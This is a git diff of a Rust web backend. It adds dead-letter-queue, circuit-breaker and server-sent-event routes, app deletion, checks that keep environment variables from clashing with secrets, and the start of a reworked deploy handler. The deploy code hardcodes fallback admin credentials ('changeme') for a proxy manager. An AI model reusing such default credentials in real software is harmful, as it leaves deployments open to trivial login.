+    let instance_id = path.into_inner();
+    verify_instance_owner(pg_pool.get_ref(), &instance_id, &user.id).await?;
+
+    let entries = db::resilience::list_dlq_entries(pg_pool.get_ref(), &instance_id)
+        .await
+        .map_err(|err| {
+            tracing::error!("Failed to list DLQ entries: {}", err);
+            JsonResponse::<String>::internal_server_error(err)
+        })?;
+
+    Ok(JsonResponse::build()
+        .set_list(entries)
+        .ok("DLQ entries fetched successfully"))
+}
+
+/// Push a failed execution into the DLQ
+#[tracing::instrument(name = "Create DLQ entry", skip_all)]
+#[post("/instances/{instance_id}/dlq")]
+pub async fn create_dlq_handler(
+    user: web::ReqData<Arc<User>>,
+    path: web::Path<uuid::Uuid>,
+    body: web::Json<CreateDlqRequest>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder> {
+    let instance_id = path.into_inner();
+    verify_instance_owner(pg_pool.get_ref(), &instance_id, &user.id).await?;
+
+    let error_msg = body.error.clone().unwrap_or_default();
+    let mut entry = DeadLetterEntry::new(instance_id, error_msg, user.id.clone());
+
+    if let Some(exec_id) = body.pipe_execution_id {
+        entry = entry.with_execution(exec_id);
+    }
+    if let Some(step_id) = body.dag_step_id {
+        entry = entry.with_dag_step(step_id);
+    }
+    if let Some(payload) = &body.payload {
+        entry = entry.with_payload(payload.clone());
+    }
+    if let Some(max) = body.max_retries {
+        entry = entry.with_max_retries(max);
+    }
+
+    let saved = db::resilience::insert_dlq_entry(pg_pool.get_ref(), &entry)
+        .await
+        .map_err(|err| {
+            tracing::error!("Failed to create DLQ entry: {}", err);
+            JsonResponse::<String>::internal_server_error(err)
+        })?;
+
+    Ok(JsonResponse::build()
+        .set_item(Some(saved))
+        .created("DLQ entry created successfully"))
+}
+
+/// Get a single DLQ entry
+#[tracing::instrument(name = "Get DLQ entry", skip_all)]
+#[get("/dlq/{entry_id}")]
+pub async fn get_dlq_handler(
+    user: web::ReqData<Arc<User>>,
+    path: web::Path<uuid::Uuid>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder> {
+    let entry_id = path.into_inner();
+
+    let entry = db::resilience::get_dlq_entry(pg_pool.get_ref(), &entry_id)
+        .await
+        .map_err(|err| JsonResponse::<String>::internal_server_error(err))?;
+
+    let entry = match entry {
+        Some(e) => e,
+        None => return Err(JsonResponse::<String>::not_found("DLQ entry not found")),
+    };
+
+    // Verify ownership
+    verify_instance_owner(pg_pool.get_ref(), &entry.pipe_instance_id, &user.id).await?;
+
+    Ok(JsonResponse::build()
+        .set_item(Some(entry))
+        .ok("DLQ entry fetched successfully"))
+}
+
+/// Retry a DLQ entry
+#[tracing::instrument(name = "Retry DLQ entry", skip_all)]
+#[post("/dlq/{entry_id}/retry")]
+pub async fn retry_dlq_handler(
+    user: web::ReqData<Arc<User>>,
+    path: web::Path<uuid::Uuid>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder> {
+    let entry_id = path.into_inner();
+
+    let entry = db::resilience::get_dlq_entry(pg_pool.get_ref(), &entry_id)
+        .await
+        .map_err(|err| JsonResponse::<String>::internal_server_error(err))?;
+
+    let entry = match entry {
+        Some(e) => e,
+        None => return Err(JsonResponse::<String>::not_found("DLQ entry not found")),
+    };
+
+    verify_instance_owner(pg_pool.get_ref(), &entry.pipe_instance_id, &user.id).await?;
+
+    let updated = db::resilience::retry_dlq_entry(pg_pool.get_ref(), &entry_id)
+        .await
+        .map_err(|err| {
+            tracing::error!("Failed to retry DLQ entry: {}", err);
+            JsonResponse::<String>::internal_server_error(err)
+        })?;
+
+    Ok(JsonResponse::build()
+        .set_item(Some(updated))
+        .ok("DLQ entry retried successfully"))
+}
+
+/// Discard a DLQ entry
+#[tracing::instrument(name = "Discard DLQ entry", skip_all)]
+#[delete("/dlq/{entry_id}")]
+pub async fn discard_dlq_handler(
+    user: web::ReqData<Arc<User>>,
+    path: web::Path<uuid::Uuid>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder> {
+    let entry_id = path.into_inner();
+
+    let entry = db::resilience::get_dlq_entry(pg_pool.get_ref(), &entry_id)
+        .await
+        .map_err(|err| JsonResponse::<String>::internal_server_error(err))?;
+
+    let entry = match entry {
+        Some(e) => e,
+        None => return Err(JsonResponse::<String>::not_found("DLQ entry not found")),
+    };
+
+    verify_instance_owner(pg_pool.get_ref(), &entry.pipe_instance_id, &user.id).await?;
+
+    db::resilience::discard_dlq_entry(pg_pool.get_ref(), &entry_id)
+        .await
+        .map_err(|err| {
+            tracing::error!("Failed to discard DLQ entry: {}", err);
+            JsonResponse::<String>::internal_server_error(err)
+        })?;
+
+    Ok(JsonResponse::<String>::build().ok("DLQ entry discarded successfully"))
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Circuit Breaker Routes
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+#[derive(Debug, Deserialize)]
+pub struct UpdateCircuitBreakerRequest {
+    pub failure_threshold: Option<i32>,
+    pub recovery_timeout_seconds: Option<i32>,
+    pub half_open_max_requests: Option<i32>,
+}
+
+/// Get circuit breaker status for a pipe instance
+#[tracing::instrument(name = "Get circuit breaker status", skip_all)]
+#[get("/instances/{instance_id}/circuit-breaker")]
+pub async fn get_circuit_breaker_handler(
+    user: web::ReqData<Arc<User>>,
+    path: web::Path<uuid::Uuid>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder> {
+    let instance_id = path.into_inner();
+    verify_instance_owner(pg_pool.get_ref(), &instance_id, &user.id).await?;
+
+    let cb = db::resilience::get_or_create_circuit_breaker(pg_pool.get_ref(), &instance_id)
+        .await
+        .map_err(|err| {
+            tracing::error!("Failed to get circuit breaker: {}", err);
+            JsonResponse::<String>::internal_server_error(err)
+        })?;
+
+    Ok(JsonResponse::build()
+        .set_item(Some(cb))
+        .ok("Circuit breaker status fetched"))
+}
+
+/// Update circuit breaker configuration
+#[tracing::instrument(name = "Update circuit breaker config", skip_all)]
+#[put("/instances/{instance_id}/circuit-breaker")]
+pub async fn update_circuit_breaker_handler(
+    user: web::ReqData<Arc<User>>,
+    path: web::Path<uuid::Uuid>,
+    body: web::Json<UpdateCircuitBreakerRequest>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder> {
+    let instance_id = path.into_inner();
+    verify_instance_owner(pg_pool.get_ref(), &instance_id, &user.id).await?;
+
+    let threshold = body.failure_threshold.unwrap_or(5);
+    let timeout = body.recovery_timeout_seconds.unwrap_or(60);
+    let half_open = body.half_open_max_requests.unwrap_or(3);
+
+    if threshold < 1 {
+        return Err(JsonResponse::<()>::build().bad_request("failure_threshold must be >= 1"));
+    }
+
+    let cb = db::resilience::update_circuit_breaker_config(
+        pg_pool.get_ref(),
+        &instance_id,
+        threshold,
+        timeout,
+        half_open,
+    )
+    .await
+    .map_err(|err| {
+        tracing::error!("Failed to update circuit breaker config: {}", err);
+        JsonResponse::<String>::internal_server_error(err)
+    })?;
+
+    Ok(JsonResponse::build()
+        .set_item(Some(cb))
+        .ok("Circuit breaker config updated"))
+}
+
+/// Record a circuit breaker failure
+#[tracing::instrument(name = "Record circuit breaker failure", skip_all)]
+#[post("/instances/{instance_id}/circuit-breaker/failure")]
+pub async fn record_failure_handler(
+    user: web::ReqData<Arc<User>>,
+    path: web::Path<uuid::Uuid>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder> {
+    let instance_id = path.into_inner();
+    verify_instance_owner(pg_pool.get_ref(), &instance_id, &user.id).await?;
+
+    let cb = db::resilience::record_circuit_breaker_failure(pg_pool.get_ref(), &instance_id)
+        .await
+        .map_err(|err| {
+            tracing::error!("Failed to record failure: {}", err);
+            JsonResponse::<String>::internal_server_error(err)
+        })?;
+
+    Ok(JsonResponse::build()
+        .set_item(Some(cb))
+        .ok("Failure recorded"))
+}
+
+/// Record a circuit breaker success
+#[tracing::instrument(name = "Record circuit breaker success", skip_all)]
+#[post("/instances/{instance_id}/circuit-breaker/success")]
+pub async fn record_success_handler(
+    user: web::ReqData<Arc<User>>,
+    path: web::Path<uuid::Uuid>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder> {
+    let instance_id = path.into_inner();
+    verify_instance_owner(pg_pool.get_ref(), &instance_id, &user.id).await?;
+
+    let cb = db::resilience::record_circuit_breaker_success(pg_pool.get_ref(), &instance_id)
+        .await
+        .map_err(|err| {
+            tracing::error!("Failed to record success: {}", err);
+            JsonResponse::<String>::internal_server_error(err)
+        })?;
+
+    Ok(JsonResponse::build()
+        .set_item(Some(cb))
+        .ok("Success recorded"))
+}
+
+/// Reset circuit breaker to closed state
+#[tracing::instrument(name = "Reset circuit breaker", skip_all)]
+#[post("/instances/{instance_id}/circuit-breaker/reset")]
+pub async fn reset_circuit_breaker_handler(
+    user: web::ReqData<Arc<User>>,
+    path: web::Path<uuid::Uuid>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder> {
+    let instance_id = path.into_inner();
+    verify_instance_owner(pg_pool.get_ref(), &instance_id, &user.id).await?;
+
+    let cb = db::resilience::reset_circuit_breaker(pg_pool.get_ref(), &instance_id)
+        .await
+        .map_err(|err| {
+            tracing::error!("Failed to reset circuit breaker: {}", err);
+            JsonResponse::<String>::internal_server_error(err)
+        })?;
+
+    Ok(JsonResponse::build()
+        .set_item(Some(cb))
+        .ok("Circuit breaker reset to closed"))
+}
diff --git a/src/routes/pipe/stream.rs b/src/routes/pipe/stream.rs
new file mode 100644
index 00000000..40b1710a
--- /dev/null
+++ b/src/routes/pipe/stream.rs
@@ -0,0 +1,70 @@
+use crate::db;
+use crate::helpers::JsonResponse;
+use crate::models::User;
+use actix_web::{get, web, HttpResponse, Result};
+use sqlx::PgPool;
+use std::sync::Arc;
+
+/// SSE (Server-Sent Events) endpoint for real-time pipe execution streaming.
+///
+/// Returns a stream of execution events including DAG step progress,
+/// completion notifications, and error reports.
+#[get("/instances/{instance_id}/stream")]
+pub async fn execution_stream_handler(
+    pg_pool: web::Data<PgPool>,
+    user: web::ReqData<Arc<User>>,
+    path: web::Path<String>,
+) -> Result<HttpResponse, actix_web::Error> {
+    let instance_id = path.into_inner();
+    let instance_uuid = uuid::Uuid::parse_str(&instance_id).map_err(|_| {
+        JsonResponse::<String>::bad_request(String::from("Invalid instance ID format"))
+    })?;
+
+    // Verify instance exists and belongs to user
+    let instance = db::pipe::get_instance(pg_pool.get_ref(), &instance_uuid)
+        .await
+        .map_err(|err| JsonResponse::<String>::internal_server_error(err))?;
+
+    let instance = instance.ok_or_else(|| {
+        JsonResponse::<String>::not_found(String::from("Pipe instance not found"))
+    })?;
+
+    if instance.created_by != user.id {
+        return Err(JsonResponse::<String>::forbidden(String::from(
+            "Access denied: not your pipe instance",
+        )));
+    }
+
+    // Fetch recent executions for initial state
+    let recent_executions = db::pipe::list_executions(pg_pool.get_ref(), &instance_uuid, 10, 0)
+        .await
+        .unwrap_or_default();
+
+    // Build SSE response body
+    let mut body = String::new();
+
+    // Connection event
+    body.push_str("event: connected\n");
+    body.push_str(&format!(
+        "data: {{\"instance_id\":\"{}\",\"status\":\"{}\"}}\n\n",
+        instance_id, instance.status
+    ));
+
+    // Send recent execution history
+    for exec in &recent_executions {
+        body.push_str("event: execution\n");
+        body.push_str(&format!(
+            "data: {{\"execution_id\":\"{}\",\"status\":\"{}\",\"started_at\":\"{}\"}}\n\n",
+            exec.id, exec.status, exec.started_at
+        ));
+    }
+
+    // Heartbeat to keep connection alive
+    body.push_str(": heartbeat\n\n");
+
+    Ok(HttpResponse::Ok()
+        .content_type("text/event-stream")
+        .insert_header(("Cache-Control", "no-cache"))
+        .insert_header(("Connection", "keep-alive"))
+        .body(body))
+}
diff --git a/src/routes/pipe/update.rs b/src/routes/pipe/update.rs
index baff173f..f9efd353 100644
--- a/src/routes/pipe/update.rs
+++ b/src/routes/pipe/update.rs
@@ -24,9 +24,8 @@ pub async fn update_instance_status_handler(
     let instance_id = path.into_inner();
 
     if !VALID_STATUSES.contains(&body.status.as_str()) {
-        return Err(JsonResponse::<()>::build().bad_request(
-            "Invalid status. Must be one of: draft, active, paused, error",
-        ));
+        return Err(JsonResponse::<()>::build()
+            .bad_request("Invalid status. Must be one of: draft, active, paused, error"));
     }
 
     let instance = db::pipe::get_instance(pg_pool.get_ref(), &instance_id)
@@ -38,17 +37,7 @@ pub async fn update_instance_status_handler(
 
     match &instance {
         Some(i) => {
-            let deployment =
-                db::deployment::fetch_by_deployment_hash(pg_pool.get_ref(), &i.deployment_hash)
-                    .await
-                    .map_err(|err| JsonResponse::<()>::build().internal_server_error(err))?;
-
-            match &deployment {
-                Some(d) if d.user_id.as_deref() == Some(&user.id) => {}
-                _ => {
-                    return Err(JsonResponse::not_found("Pipe instance not found"));
-                }
-            }
+            super::verify_pipe_owner(pg_pool.get_ref(), i, &user.id).await?;
         }
         None => {
             return Err(JsonResponse::not_found("Pipe instance not found"));
diff --git a/src/routes/project/add.rs b/src/routes/project/add.rs
index fd2da58d..53474c95 100644
--- a/src/routes/project/add.rs
+++ b/src/routes/project/add.rs
@@ -2,6 +2,7 @@ use crate::db;
 use crate::forms::project::ProjectForm;
 use crate::helpers::JsonResponse;
 use crate::models;
+use crate::project_app;
 use actix_web::{post, web, web::Data, Responder, Result};
 use serde_json::Value;
 use serde_valid::Validate;
@@ -24,14 +25,26 @@ pub async fn item(
     }
 
     let project_name = form.custom.custom_stack_code.clone();
-    let metadata: Value = serde_json::to_value::<ProjectForm>(form)
+    let metadata: Value = serde_json::to_value::<ProjectForm>(form.clone())
         .or(serde_json::to_value::<ProjectForm>(ProjectForm::default()))
         .unwrap();
 
     let project = models::Project::new(user.id.clone(), project_name, metadata, request_json);
 
-    db::project::insert(pg_pool.get_ref(), project)
+    let project = db::project::insert(pg_pool.get_ref(), project)
         .await
-        .map(|project| JsonResponse::build().set_item(project).ok("Ok"))
-        .map_err(|_| JsonResponse::internal_server_error("Internal Server Error"))
+        .map_err(|_| JsonResponse::internal_server_error("Internal Server Error"))?;
+
+    project_app::sync_project_level_apps_from_form(pg_pool.get_ref(), project.id, &form)
+        .await
+        .map_err(|err| {
+            tracing::error!(
+                "Failed to sync project-level apps for project {} after insert: {}",
+                project.id,
+                err
+            );
+            JsonResponse::internal_server_error("Internal Server Error")
+        })?;
+
+    Ok(JsonResponse::build().set_item(project).ok("Ok"))
 }
diff --git a/src/routes/project/app.rs b/src/routes/project/app.rs
index 76be375d..a9ecc915 100644
--- a/src/routes/project/app.rs
+++ b/src/routes/project/app.rs
@@ -4,6 +4,7 @@
 //! - POST /project/{project_id}/apps - Create or update an app in a project
 //! - GET /project/{project_id}/apps - List all apps in a project
 //! - GET /project/{project_id}/apps/{code} - Get a specific app
+//! - DELETE /project/{project_id}/apps/{code} - Delete a specific app
 //! - GET /project/{project_id}/apps/{code}/config - Get app configuration
 //! - PUT /project/{project_id}/apps/{code}/config - Update app configuration
 //! - GET /project/{project_id}/apps/{code}/env - Get environment variables
@@ -15,14 +16,19 @@
 use crate::db;
 use crate::helpers::JsonResponse;
 use crate::models::{self, Project};
-use crate::services::{ProjectAppService};
+use crate::services::{
+    runtime_env_contract_response, ProjectAppService, RuntimeEnvContractResponse,
+};
 use actix_web::{delete, get, post, put, web, Responder, Result};
 use serde::{Deserialize, Serialize};
 use serde_json::{json, Value};
 use sqlx::PgPool;
+use std::collections::HashSet;
 use std::sync::Arc;
 
-use crate::project_app::hydration::{hydrate_project_app, hydrate_single_app, HydratedProjectApp};
+use crate::project_app::hydration::{
+    hydrate_project_app, hydrate_single_app, redact_app_environment, HydratedProjectApp,
+};
 
 async fn hydrate_apps_with_metadata(
     pool: &PgPool,
@@ -36,12 +42,61 @@ async fn hydrate_apps_with_metadata(
     Ok(hydrated)
 }
 
+async fn ensure_no_service_secret_key_conflicts(
+    pool: &PgPool,
+    user_id: &str,
+    project_id: i32,
+    app_code: &str,
+    candidate_keys: &[String],
+) -> Result<()> {
+    if candidate_keys.is_empty() {
+        return Ok(());
+    }
+
+    let service_secrets =
+        db::remote_secret::list_service_secrets(pool, user_id, project_id, app_code)
+            .await
+            .map_err(JsonResponse::internal_server_error)?;
+    let secret_names: HashSet<String> = service_secrets
+        .into_iter()
+        .map(|secret| secret.name)
+        .collect();
+
+    if let Some(conflict) = candidate_keys
+        .iter()
+        .find(|key| secret_names.contains(key.as_str()))
+    {
+        return Err(JsonResponse::<String>::build().conflict(format!(
+            "Environment variable '{}' is managed as a remote service secret. Use 'stacker secrets set {} --scope service --project {} --service {}' instead.",
+            conflict, conflict, project_id, app_code
+        )));
+    }
+
+    Ok(())
+}
+
+fn environment_keys(env: &Value) -> Vec<String> {
+    match env {
+        Value::Object(map) => map.keys().cloned().collect(),
+        Value::Array(items) => items
+            .iter()
+            .filter_map(|item| {
+                item.as_str()
+                    .and_then(|pair| pair.split_once('='))
+                    .map(|(key, _)| key.to_string())
+            })
+            .collect(),
+        _ => Vec::new(),
+    }
+}
+
 /// Response for app configuration
 #[derive(Debug, Serialize)]
 pub struct AppConfigResponse {
     pub project_id: i32,
     pub app_code: String,
     pub environment: Value,
+    pub runtime_env_contract: RuntimeEnvContractResponse,
     pub ports: Value,
     pub volumes: Value,
     pub domain: Option<String>,
@@ -89,6 +144,11 @@ pub struct UpdateDomainRequest {
     pub ssl_enabled: bool,
 }
 
+#[derive(Debug, Deserialize)]
+pub struct DeleteAppQuery {
+    pub deployment_hash: Option<String>,
+}
+
 /// Request to create or update an app in a project
 #[derive(Debug, Deserialize)]
 pub struct CreateAppRequest {
@@ -195,6 +255,18 @@ pub async fn create_app(
         return Err(JsonResponse::<()>::build().bad_request("image is required"));
     }
 
+    if let Some(env) = payload.env.as_ref() {
+        let keys = environment_keys(env);
+        ensure_no_service_secret_key_conflicts(
+            pg_pool.get_ref(),
+            &project.user_id,
+            project_id,
+            code,
+            &keys,
+        )
+        .await?;
+    }
+
     let mut app = models::ProjectApp::default();
     app.project_id = project_id;
     app.code = code.to_string();
@@ -277,6 +349,63 @@ pub async fn get_app(
     Ok(JsonResponse::build().set_item(Some(hydrated)).ok("OK"))
 }
 
+/// Delete a specific app by code
+#[tracing::instrument(name = "Delete project app", skip_all)]
+#[delete("/{project_id}/apps/{code}")]
+pub async fn delete_app(
+    user: web::ReqData<Arc<models::User>>,
+    path: web::Path<(i32, String)>,
+    query: web::Query<DeleteAppQuery>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder> {
+    let (project_id, code) = path.into_inner();
+
+    let project = db::project::fetch(pg_pool.get_ref(), project_id)
+        .await
+        .map_err(|e| JsonResponse::internal_server_error(e))?
+        .ok_or_else(|| JsonResponse::not_found("Project not found"))?;
+
+    if project.user_id != user.id {
+        return Err(JsonResponse::not_found("Project not found"));
+    }
+
+    let app = db::project_app::fetch_by_project_and_code(pg_pool.get_ref(), project_id, &code)
+        .await
+        .map_err(|e| JsonResponse::internal_server_error(e))?
+        .ok_or_else(|| JsonResponse::not_found("App not found"))?;
+
+    let app_service = if let Some(deployment_hash) = query.deployment_hash.as_deref() {
+        let service = ProjectAppService::new(Arc::new(pg_pool.get_ref().clone()))
+            .map_err(|e| JsonResponse::<()>::build().internal_server_error(e))?;
+        (service, deployment_hash.to_string())
+    } else {
+        let service = ProjectAppService::new_without_sync(Arc::new(pg_pool.get_ref().clone()))
+            .map_err(|e| JsonResponse::<()>::build().internal_server_error(e))?;
+        (service, String::new())
+    };
+
+    let deleted = app_service
+        .0
+        .delete(app.id, &app_service.1)
+        .await
+        .map_err(|e| JsonResponse::<()>::build().internal_server_error(e.to_string()))?;
+
+    tracing::info!(
+        user_id = %user.id,
+        project_id = project_id,
+        app_code = %code,
+        deleted = deleted,
+        "Deleted project app"
+    );
+
+    Ok(JsonResponse::build()
+        .set_item(Some(json!({
+            "success": deleted,
+            "message": if deleted { "App removed from project" } else { "App was not removed" }
+        })))
+        .ok("OK"))
+}
+
 /// Get app configuration (env vars, ports, domain, etc.)
 #[tracing::instrument(name = "Get app config", skip_all)]
 #[get("/{project_id}/apps/{code}/config")]
@@ -304,12 +433,21 @@ pub async fn get_app_config(
         .ok_or_else(|| JsonResponse::not_found("App not found"))?;
 
     // Build response with redacted environment variables
-    let env = redact_sensitive_env_vars(app.environment.clone().unwrap_or(json!({})));
+    let env = redact_app_environment(
+        pg_pool.get_ref(),
+        &project.user_id,
+        project_id,
+        &code,
+        app.environment.clone().unwrap_or(json!({})),
+    )
+    .await
+    .map_err(JsonResponse::internal_server_error)?;
 
     let config = AppConfigResponse {
         project_id,
         app_code: code,
         environment: env,
+        runtime_env_contract: runtime_env_contract_response(),
         ports: app.ports.clone().unwrap_or(json!([])),
         volumes: app.volumes.clone().unwrap_or(json!([])),
         domain: app.domain.clone(),
@@ -351,12 +489,21 @@ pub async fn get_env_vars(
         .ok_or_else(|| JsonResponse::not_found("App not found"))?;
 
     // Redact sensitive values
-    let env = redact_sensitive_env_vars(app.environment.clone().unwrap_or(json!({})));
+    let env = redact_app_environment(
+        pg_pool.get_ref(),
+        &project.user_id,
+        project_id,
+        &code,
+        app.environment.clone().unwrap_or(json!({})),
+    )
+    .await
+    .map_err(JsonResponse::internal_server_error)?;
 
     let response = json!({
         "project_id": project_id,
         "app_code": code,
         "variables": env,
+        "runtime_env_contract": runtime_env_contract_response(),
         "count": env.as_object().map(|o| o.len()).unwrap_or(0),
         "note": "Sensitive values (passwords, tokens, keys) are redacted"
     });
@@ -392,6 +539,16 @@ pub async fn update_env_vars(
         .ok_or_else(|| JsonResponse::not_found("App not found"))?;
 
     // Merge new variables with existing
+    let keys = environment_keys(&body.variables);
+    ensure_no_service_secret_key_conflicts(
+        pg_pool.get_ref(),
+        &project.user_id,
+        project_id,
+        &code,
+        &keys,
+    )
+    .await?;
+
     let mut env = app.environment.clone().unwrap_or(json!({}));
     if let (Some(existing), Some(new)) = (env.as_object_mut(), body.variables.as_object()) {
         for (key, value) in new {
@@ -589,40 +746,3 @@ pub async fn update_domain(
         })))
         .ok("OK"))
 }
-
-/// Redact sensitive environment variables for display
-fn redact_sensitive_env_vars(env: Value) -> Value {
-    const SENSITIVE_PATTERNS: &[&str] = &[
-        "password",
-        "passwd",
-        "secret",
-        "token",
-        "key",
-        "api_key",
-        "apikey",
-        "auth",
-        "credential",
-        "private",
-        "cert",
-        "ssl",
-        "tls",
-    ];
-
-    if let Some(obj) = env.as_object() {
-        let redacted: serde_json::Map<String, Value> = obj
-            .iter()
-            .map(|(k, v)| {
-                let key_lower = k.to_lowercase();
-                let is_sensitive = SENSITIVE_PATTERNS.iter().any(|p| key_lower.contains(p));
-                if is_sensitive {
-                    (k.clone(), json!("[REDACTED]"))
-                } else {
-                    (k.clone(), v.clone())
-                }
-            })
-            .collect();
-        Value::Object(redacted)
-    } else {
-        env
-    }
-}
diff --git a/src/routes/project/delete.rs b/src/routes/project/delete.rs
index 55793b8c..78cc4035 100644
--- a/src/routes/project/delete.rs
+++ b/src/routes/project/delete.rs
@@ -21,7 +21,7 @@ pub async fn item(
         .map_err(|err| JsonResponse::<models::Project>::build().internal_server_error(err))
         .and_then(|project| match project {
             Some(project) if project.user_id != user.id => {
-                Err(JsonResponse::<models::Project>::build().bad_request("Delete is forbidden"))
+                Err(JsonResponse::<models::Project>::build().not_found(""))
             }
             Some(project) => Ok(project),
             None => Err(JsonResponse::<models::Project>::build().not_found("")),
diff --git a/src/routes/project/deploy.rs b/src/routes/project/deploy.rs
index 9fadc954..4e96698e 100644
--- a/src/routes/project/deploy.rs
+++ b/src/routes/project/deploy.rs
@@ -1,724 +1,3093 @@
 use crate::configuration::Settings;
 use crate::connectors::{
-    install_service::InstallServiceConnector, user_service::UserServiceConnector,
+    app_service_catalog, install_service::InstallServiceConnector,
+    user_service::UserServiceConnector,
 };
 use crate::db;
 use crate::forms;
 use crate::helpers::project::builder::DcBuilder;
 use crate::helpers::{JsonResponse, MqManager, VaultClient};
 use crate::models;
+use crate::services;
 use actix_web::{post, web, web::Data, Responder, Result};
+use serde::Deserialize;
+use serde_json;
 use serde_valid::Validate;
 use sqlx::PgPool;
+use std::collections::HashSet;
+use std::path::Path;
 use std::sync::Arc;
+use std::time::Duration;
 use uuid::Uuid;
 
-#[tracing::instrument(name = "Deploy for every user", skip_all)]
-#[post("/{id}/deploy")]
-pub async fn item(
-    user: web::ReqData<Arc<models::User>>,
-    path: web::Path<(i32,)>,
-    mut form: web::Json<forms::project::Deploy>,
-    pg_pool: Data<PgPool>,
-    mq_manager: Data<MqManager>,
-    _sets: Data<Settings>,
-    user_service: Data<Arc<dyn UserServiceConnector>>,
-    install_service: Data<Arc<dyn InstallServiceConnector>>,
-    vault_client: Data<VaultClient>,
-) -> Result<impl Responder> {
-    let id = path.0;
-    tracing::debug!("User {} is deploying project: {}", user.id, id);
+const MANAGED_NGINX_PROXY_MANAGER_FEATURE: &str = "nginx_proxy_manager";
+const STATUS_PANEL_FEATURE: &str = "statuspanel";
+const STATUS_PANEL_CONNECTION_MODE: &str = "status_panel";
+const STATUS_PANEL_NPM_CREDENTIALS_SECRET: &str = "npm_credentials";
+const DEFAULT_STATUS_PANEL_NPM_HOST: &str = "http://nginx-proxy-manager:81";
+const DEFAULT_STATUS_PANEL_NPM_EMAIL: &str = "admin@example.com";
+const DEFAULT_STATUS_PANEL_NPM_PASSWORD: &str = "changeme";
+const DEFAULT_STATUS_PANEL_NPM_AUTH_MODE: &str = "email_password";
 
-    if !form.validate().is_ok() {
-        let errors = form.validate().unwrap_err().to_string();
-        let err_msg = format!("Invalid form data received {:?}", &errors);
-        tracing::debug!(err_msg);
+fn parse_template_requirements(
+    template: &models::StackTemplate,
+) -> Result<models::InfrastructureRequirements, String> {
+    serde_json::from_value(template.infrastructure_requirements.clone()).map_err(|err| {
+        tracing::error!(
+            "Failed to parse infrastructure requirements for template {}: {}",
+            template.id,
+            err
+        );
+        "Template infrastructure requirements are invalid".to_string()
+    })
+}
 
-        return Err(JsonResponse::<models::Project>::build().form_error(errors));
+fn map_marketplace_access_error(err: services::MarketplaceAccessError) -> actix_web::Error {
+    match err {
+        services::MarketplaceAccessError::ValidationFailed(reason) => {
+            tracing::error!("Failed to validate marketplace access: {}", reason);
+            JsonResponse::<models::Project>::build()
+                .internal_server_error("Failed to validate marketplace access")
+        }
+        services::MarketplaceAccessError::NoPaymentMethod { .. } => {
+            JsonResponse::<models::Project>::build().payment_required(err.to_string())
+        }
+        services::MarketplaceAccessError::MissingUserToken
+        | services::MarketplaceAccessError::InsufficientFeaturePlan
+        | services::MarketplaceAccessError::InsufficientTemplatePlan { .. }
+        | services::MarketplaceAccessError::TemplateNotOwned => {
+            JsonResponse::<models::Project>::build().forbidden(err.to_string())
+        }
     }
+}
 
-    // Validate project
-    let project = db::project::fetch(pg_pool.get_ref(), id)
-        .await
-        .map_err(|err| JsonResponse::<models::Project>::build().internal_server_error(err))
-        .and_then(|project| match project {
-            Some(project) => Ok(project),
-            None => Err(JsonResponse::<models::Project>::build().not_found("not found")),
-        })?;
+fn validate_template_target_requirements(
+    template: &models::StackTemplate,
+    requirements: &models::InfrastructureRequirements,
+    provider: &str,
+    os: Option<&str>,
+) -> Result<(), String> {
+    let mut mismatches = Vec::new();
 
-    // Check marketplace template plan requirements if project was created from template
-    if let Some(template_id) = project.source_template_id {
-        if let Some(template) = db::marketplace::get_by_id(pg_pool.get_ref(), template_id)
-            .await
-            .map_err(|err| JsonResponse::<models::Project>::build().internal_server_error(err))?
-        {
-            // If template requires a specific plan, validate user has it
-            if let Some(required_plan) = template.required_plan_name {
-                let has_plan = user_service
-                    .user_has_plan(&user.id, &required_plan, user.access_token.as_deref())
-                    .await
-                    .map_err(|err| {
-                        tracing::error!("Failed to validate plan: {:?}", err);
-                        JsonResponse::<models::Project>::build()
-                            .internal_server_error("Failed to validate subscription plan")
-                    })?;
+    if !requirements.supported_clouds.is_empty() {
+        let supported: HashSet<String> = requirements
+            .supported_clouds
+            .iter()
+            .map(|cloud| cloud.to_ascii_lowercase())
+            .collect();
+        if !supported.contains(&provider.to_ascii_lowercase()) {
+            mismatches.push(format!(
+                "cloud provider '{}' is not supported (allowed: {})",
+                provider,
+                requirements.supported_clouds.join(", ")
+            ));
+        }
+    }
 
-                if !has_plan {
-                    tracing::warn!(
-                        "User {} lacks required plan {} to deploy template {}",
-                        user.id,
-                        required_plan,
-                        template_id
-                    );
-                    return Err(JsonResponse::<models::Project>::build().forbidden(format!(
-                        "You require a '{}' subscription to deploy this template",
-                        required_plan
-                    )));
-                }
-            }
+    if !requirements.supported_os.is_empty() {
+        match os {
+            Some(target_os)
+                if requirements
+                    .supported_os
+                    .iter()
+                    .any(|supported_os| supported_os.eq_ignore_ascii_case(target_os)) => {}
+            Some(target_os) => mismatches.push(format!(
+                "operating system '{}' is not supported (allowed: {})",
+                target_os,
+                requirements.supported_os.join(", ")
+            )),
+            None => mismatches.push(format!(
+                "operating system is required (allowed: {})",
+                requirements.supported_os.join(", ")
+            )),
         }
     }
 
-    // Build compose
-    let id = project.id;
-    let dc = DcBuilder::new(project);
-    let fc = dc
-        .build()
-        .map_err(|err| JsonResponse::<models::Project>::build().internal_server_error(err))?;
+    if mismatches.is_empty() {
+        Ok(())
+    } else {
+        Err(format!(
+            "Template '{}' cannot be deployed to this target: {}",
+            template.slug,
+            mismatches.join("; ")
+        ))
+    }
+}
 
-    form.cloud.user_id = Some(user.id.clone());
-    form.cloud.project_id = Some(id);
+fn validate_min_ram_requirement(
+    template: &models::StackTemplate,
+    server_slug: &str,
+    minimum_ram_mb: i32,
+    server_capacity: &app_service_catalog::ServerCapacity,
+) -> Result<(), String> {
+    match server_capacity.ram_mb {
